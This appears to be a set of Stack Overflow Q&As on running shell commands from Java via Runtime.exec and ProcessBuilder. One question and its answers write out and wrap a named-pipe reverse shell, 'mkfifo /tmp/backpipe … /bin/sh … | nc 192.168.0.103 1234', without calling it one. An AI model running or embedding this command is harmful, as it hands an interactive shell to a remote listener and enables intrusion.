Problems in running AWS CLI bash command within Java - java

I'm trying to run an AWS command within Java code (in Linux). Like always, I try to run the bash command like this in Java. But I wonder it doesn't show anything. And just prints Exited with error code : 2. When I just run aws ls help in bash, it works.
What is the problem? How to solve it?
import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStreamReader;
public class TestCMD {
public static void main(String[] args) {
ProcessBuilder processBuilder = new ProcessBuilder();
processBuilder.command("bash", "-c", "aws ls help");
try {
Process process = processBuilder.start();
BufferedReader reader = new BufferedReader(new InputStreamReader(process.getInputStream()));
String line;
while ((line = reader.readLine()) != null) {
System.out.println(line);
}
int exitCode = process.waitFor();
System.out.println("\nExited with error code : " + exitCode);
} catch (Exception e) {
e.printStackTrace();
}
}
}

The Java code is not the problem. It works fine, what you can check by replacing the command with
processBuilder.command("bash", "-c", "echo 1 2 3");
You have 2 "problems".
The first problem is that aws writes its output to stderr, not stdout.
The second problem is that aws returns 2 where 0 would be IMHO better.
You can test this on the commandline with:
aws ls help 2>/dev/null; echo $?
The problems can be fixed with
processBuilder.command("bash", "-c", "/usr/bin/aws ls help 2>&1; true");

Related

Running command in linux environment fails

I am trying to execute a command via Runtime.getRuntime().exec().
When i run the following command in my linux bash it works fine.
Command: bash -c "npm -v"
But when i try to run it with Java it fails with the following error:
-v": -c: line 0: unexpected EOF while looking for matching `"'
-v": -c: line 1: syntax error: unexpected end of file
Reproducible example:
import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStreamReader;
import java.nio.charset.StandardCharsets;
public class RunACommandTest
{
public static void main(String[] args)
{
try
{
Process exec = Runtime.getRuntime().exec("bash -c \"npm -v\"");
new BufferedReader(new InputStreamReader(exec.getInputStream(), StandardCharsets.UTF_8))
.lines()
.forEachOrdered(line -> System.out.println("IN " + line));
new BufferedReader(new InputStreamReader(exec.getErrorStream(), StandardCharsets.UTF_8))
.lines()
.forEachOrdered(line -> System.out.println("ERR " + line));
}
catch(IOException e)
{
throw new RuntimeException(e);
}
}
}
I have also tried to use single quotes instead of double quotes.
Unfortunately the now deprecated Runtime.exec(String) breaks up this command incorrectly as 4 argument command { "bash", "-c", "\"npm", "-v\"" }. Separating the parameter list as 3 argument command { "bash", "-c", "npm -v" } will avoid this problem.
It is easier to use ProcessBuilder which is used internally by Runtime.exec:
ProcessBuilder pb = new ProcessBuilder("bash","-c", "npm -v");
Process exec = pb.start();
Note that you must consume stdout + stderr in separate threads. What you have above may work, but it may freeze for other processes or conditions. You can avoid by redirect to file, or redirect error to stdout with:
pb.redirectErrorStream(true);

How do I print the list of files and folders in a root directory in linux using java

I am new to both Java and Linux, I was trying to use some Runtime.exec() commands that would allow my program to execute commands in Linux such as "cd /mnt/" and "ls --group-directories-first" to list files and directories contained in /mnt/ but I think I am making a problem with the execution.
I tried my code to only include the "ls --group-directories-first" and it worked like a charm, only problem was, it only listed subdirectories and files in the projects folder. I wanted to make my program go to /mnt/ first so I made my command line to a command array by using exec(String[] cmdarray) format as process1 = Runtime.getRuntime().exec(new String[]{"cd /mnt/","ls --group-directories-first"}); and when I ran it on linux, it just got executed without any printed runtime errors but also without any feedback/printed lines.
Here is my code:
import java.io.BufferedReader;
import java.io.InputStreamReader;
public class linCom {
public static void main(String args[]) {
String s;
Process p;
try {
p = Runtime.getRuntime().exec("ls --group-directories-first");
BufferedReader br = new BufferedReader(
new InputStreamReader(p.getInputStream()));
while ((s = br.readLine()) != null)
System.out.println("line: " + s);
p.waitFor();
System.out.println ("exit: " + p.exitValue());
p.destroy();
} catch (Exception e) {}
}
}
This worked and printed out:
"line: DummyFolder1
line: linCom.class
line: linCom.java
exit: 0"
import java.io.BufferedReader;
import java.io.InputStreamReader;
public class linCom {
public static void main(String args[]) {
String s;
Process p;
try {
p = Runtime.getRuntime().exec(new String[]{"cd /mnt/","ls --group-directories-first"});
BufferedReader br = new BufferedReader(
new InputStreamReader(p.getInputStream()));
while ((s = br.readLine()) != null)
System.out.println("line: " + s);
p.waitFor();
System.out.println ("exit: " + p.exitValue());
p.destroy();
} catch (Exception e) {}
}
}
This just got executed with no printed lines.
I expected my program to just go to the /mnt/ directory and print out subdirectories and files on there, but it just got executed with no visible runtime errors and no printed lines.
I have looked at other entries but could not find any answer to my problem.
EDIT: I changed "no errors" with "no error messages" to make it clear that if program had any errors, I did not get any feedback about it.
Here's where the UNIX process model can be confusing.
What you have tries to run the program named cd /mnt/ with the first parameter of ls --group-directories-first . Unix programs can be named anything (they're just filenames) but there's no program named cd /mnt. And anyway, the cd operation is actually performed by a shell, not as a forked/execed program.
You hope to run this shell command from your Java program: cd /mnt/; ls --group-directories-first . The trouble is, Java's .exec() method does not give you a shell, so shell commands don't work.
You can try this instead. It's like running the shell command
/bin/sh -c "cd /mnt/; ls --group-directories-first"
With this, you start a shell, then tell it to run -cthe command you want.
Process p = Runtime.getRuntime().exec(new String[]{"/bin/sh",
"-c",
"cd /mnt/; ls --group-directories-first"});
But it's quite dependent on the machine where your Java program runs, so be careful.
Reference: How to invoke a Linux shell command from Java
Do not use an external process just to list files. Java has plenty of ways to do that. All of them are in the Files class. For example:
Path dir = Paths.get("/mnt");
try (Stream<Path> files = Files.list(dir).sorted(
Comparator.comparing((Path p) -> !Files.isDirectory(p))
.thenComparing(Comparator.naturalOrder()))) {
files.forEach(System.out::println);
}
Do you really need to use Runtime.exec()comands? That would make your code platafform dependent.
You could use File.listFiles():
File folder = new File("/mnt");
for (File f : folder.listFiles()) {
System.out.println(f.getName());
}
That would make the code less plataform dependent

java Runtime.getRuntime().exec() unable to run commands

I need to run the following command from inside the Runtime.getRuntime().exec():
rm /tmp/backpipe; mkfifo /tmp/backpipe && /bin/sh 0</tmp/backpipe | nc 192.168.0.103 1234 1>/tmp/backpipe
In what format should I pass it to my running java program that has the line :
Process localProcess = Runtime.getRuntime().exec(myStr);
where myStr is the entire command above that I want to execute ?
Things I have already tried :
[\"/bin/bash\",\"-c\",\"rm /tmp/backpipe;/usr/bin/mkfifo /tmp/backpipe && /bin/sh 0</tmp/backpipe | nc 192.168.0.103 1234 1>/tmp/backpipe\"] as String[]"
gives me the error :
Cannot run program "["/bin/bash","-c","/usr/bin/mkfifo": error=2, No such file or directory
If I simply run the command from my terminal as :
rm /tmp/backpipe; mkfifo /tmp/backpipe && /bin/sh 0</tmp/backpipe | nc 192.168.0.103 1234 1>/tmp/backpipe
It runs like a charm, but not through the runtime.exec().
Try to use ProcessBuilder instead of Runtime.
Try this one:
Process p = new ProcessBuilder().command("bash","-c",cmd).start();
cmd is the variable which holds your shell command.
Update:
String[] cmd = {"bash","-c", "rm -f /tmp/backpipe; mkfifo /tmp/backpipe && /bin/sh 0</tmp/backpipe | nc 192.168.0.103 1234 1>/tmp/backpipe"}; // type last element your command
Process p = Runtime.getRuntime().exec(cmd);
Here is working Java code that illustrates few more aspects of calling Runtime.getRuntime().exec() like waiting for the process to complete and capturing the output and error streams:
import java.io.InputStream;
import java.io.InputStreamReader;
import java.io.BufferedReader;
class Test {
public static void dump(InputStream is) {
BufferedReader reader = new BufferedReader(new InputStreamReader(is));
String line;
try {
while ((line = reader.readLine()) != null) {
System.out.println(line);
}
} catch (Exception e) {
System.out.println("read line threw exception");
}
}
public static void run(String cmd) {
try {
Process p = Runtime.getRuntime().exec(cmd);
p.waitFor();
int status = p.exitValue();
System.out.println("Program terminated with exit status " + status);
if (status != 0) {
dump(p.getErrorStream());
}
else {
dump(p.getInputStream());
}
} catch (Exception e) {
System.out.println("Caught exception");
}
}
};

how to launch a shell script in a new gnome terminal, from a java program

I'm trying to run a shell script (say myscript.sh) from a java program.
when i run the script from terminal, like this :
./myscript.sh
it works fine.
But when i call it from the java program, with the following code :
try
{
ProcessBuilder pb = new ProcessBuilder("/bin/bash","./myScript.sh",someParam);
pb.environment().put("PATH", "OtherPath");
Process p = pb.start();
InputStreamReader isr = new InputStreamReader(p.getInputStream());
BufferedReader br = new BufferedReader(isr);
String line ;
while((line = br.readLine()) != null)
System.out.println(line);
int exitVal = p.waitFor();
}catch(Exception e)
{ e.printStackTrace(); }
}
It doesnt goes the same way.
Several shell commands (like sed, awk and similar commands) get skipped and donot give any output at all.
Question : Is there some way to launch this script in a new terminal using java.
PS : i've found that "gnome-terminal" command launches a new terminal in shell,
But, i'm unable to figure out, how to use the same in a java code.
i'm quite new to using shell scripting. Please help
Thanks in advance
In java:
import java.lang.Runtime;
class CLI {
public static void main(String args[]) {
String command[] = {"/bin/sh", "-c",
"gnome-terminal --execute ./myscript.sh"};
Runtime rt = Runtime.getRuntime();
try {
rt.exec(command);
} catch(Exception ex) {
// handle ex
}
}
}
And the contents of the script are:
#!/bin/bash
echo 'hello!'
bash
Notes:
You'll do this in a background thread or a worker
The last command, in the shell script, is bash; otherwise execution completes and the terminal is closed.
The shell script is located in the same path as the calling Java class.
Don't overrwrite your entire PATH...
pb.environment().put("PATH", "OtherPath"); // This drops the existing PATH... ouch.
Try this instead
pb.environment().put("PATH", "OtherPath:" + pb.environment().get("PATH"));
Or, use the full directories to your commands in your script file.
You must set your shell script file as executable first and then add the below code,
shellScriptFile.setExecutable(true);
//Running sh file
Process exec = Runtime.getRuntime().exec(PATH_OF_PARENT_FOLDER_OF_SHELL_SCRIPT_FILE+File.separator+shellScriptFile.getName());
byte []buf = new byte[300];
InputStream errorStream = exec.getErrorStream();
errorStream.read(buf);
logger.debug(new String(buf));
int waitFor = exec.waitFor();
if(waitFor==0) {
System.out.println("Shell script executed properly");
}
This worked for me on Ubuntu and Java 8
Process pr =new ProcessBuilder("gnome-terminal", "-e",
"./progrm").directory(new File("/directory/for/the/program/to/be/executed/from")).start();
The previous code creates a new terminal in a specificied directory and executes a command
script.sh Must have executable permissions
public class ShellFileInNewTerminalFromJava {
public static void main(String[] arg) {
try{
Process pr =new ProcessBuilder("gnome-terminal", "-e", "pathToScript/script.sh").start();
}catch(Exception e){
e.printStackTrace();
}
}
}

Cannot launch shell script with arguments using Java ProcessBuilder

I am trying to execute a shell script with command line arguments using ProcessBuilder, this shell script inturn calls two other shell scripts that uses this argument. The first shell script runs fine, but when the second one is started it returns exit code 1.
ProcessBuilder snippet from Java Program:
//scenario - A string that holds a numerical value like 1 or 2 etc
String[] command2 = {"/bin/bash", "<path to shell script>/runTemporaryTestSuite.sh", scenario};
ProcessBuilder pb2 = new ProcessBuilder(command2);
Process p2 = pb2.start();
BufferedReader br = new BufferedReader(new InputStreamReader(p2.getInputStream()));
String line;
//print - is an object ref of response.getWriter() //
print.println("Output of running "+Arrays.toString(command2)+" is: ");
while ((line = br.readLine()) != null) {
print.println(line);
}
try {
int exitValue = p2.waitFor();
print.println("<br><br>Exit Value of p2 is " + exitValue);
} catch (InterruptedException e) {
e.printStackTrace();
}
runTemporaryTestSuite.sh
#!/bin/bash
sh <path to script>/clearRegressionResult.sh (This runs fine)
sh <path to script>/startRegression.sh $1 (This is where the issue occurs)
startRegression.sh looks like:
SUITE_PATH="./"
java -DconfigPath=${SUITE_PATH}/config.xml -Dscenario=$1 -Dauto=true -jar test.jar
My output:
Output of running [/bin/bash, /runTemporaryTestSuite.sh, 29] is:
Exit Value of p2 is 1
Any help in resolving this is really appreciated.
In think the problem is not that you cannot launch shell script with arguments, I was curious and I did a test
public class Main {
public static void main(String[] args) throws IOException {
String[] command = {"/bin/bash", "test.sh", "Argument1"};
ProcessBuilder p = new ProcessBuilder(command);
Process p2 = p.start();
BufferedReader br = new BufferedReader(new InputStreamReader(p2.getInputStream()));
String line;
System.out.println("Output of running " + command + " is: ");
while ((line = br.readLine()) != null) {
System.out.println(line);
}
}
here is the test.sh script
echo Hello im the script, here your args $#
Here the output
Output of running [Ljava.lang.String;#604e9f7f is:
Hello im the script, here your args Argument1
What I think is just that your startRegression.sh exit with a non-0 status (aka it failed somewhere) and it have repercussion, runTemporaryTestSuite.sh will also exit with a non-zero status, and so on hence the message : Exit Value of p2 is 1
What I see right now,
SUITE_PATH="./"
java -DconfigPath=${SUITE_PATH}/config.xml [..] the configPath will be .//config.xml so maybe you have a plain file not found issue? I might be wrong, hope it helped

Categories